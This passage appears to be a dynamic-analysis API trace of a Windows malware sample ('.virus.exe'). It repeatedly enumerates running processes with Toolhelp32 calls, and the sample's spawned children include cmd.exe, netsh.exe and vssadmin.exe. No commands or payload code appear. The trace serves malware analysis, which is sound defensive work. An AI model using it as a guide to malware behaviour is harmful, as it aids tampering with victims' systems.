cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.308] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.308] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.308] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0245.309] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.309] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.309] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.310] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.310] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.310] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.311] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.311] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.311] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.312] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.312] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.312] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0245.313] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.313] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0245.313] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0245.314] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0245.314] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.314] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.315] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.315] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.315] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0245.316] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0245.316] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0245.316] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.317] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0245.318] CloseHandle (hObject=0x100) returned 1 [0245.318] Sleep (dwMilliseconds=0x1f4) [0245.819] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0245.820] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.821] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.821] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.821] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.822] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.822] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.822] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.823] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.823] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.823] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0245.824] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.824] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.824] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.825] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.825] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.825] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.826] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.826] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.826] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.826] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.827] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.827] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0245.827] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.828] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0245.828] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0245.828] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0245.829] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.829] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.829] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.830] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.830] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0245.830] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0245.831] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0245.831] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.831] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0245.832] CloseHandle (hObject=0x100) returned 1 [0245.832] Sleep (dwMilliseconds=0x1f4) [0246.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0246.335] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.335] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.336] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.336] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.336] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.337] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.337] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.337] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.338] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.338] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0246.338] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.339] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.339] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.339] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.340] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.340] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.340] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.341] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.341] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.341] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: 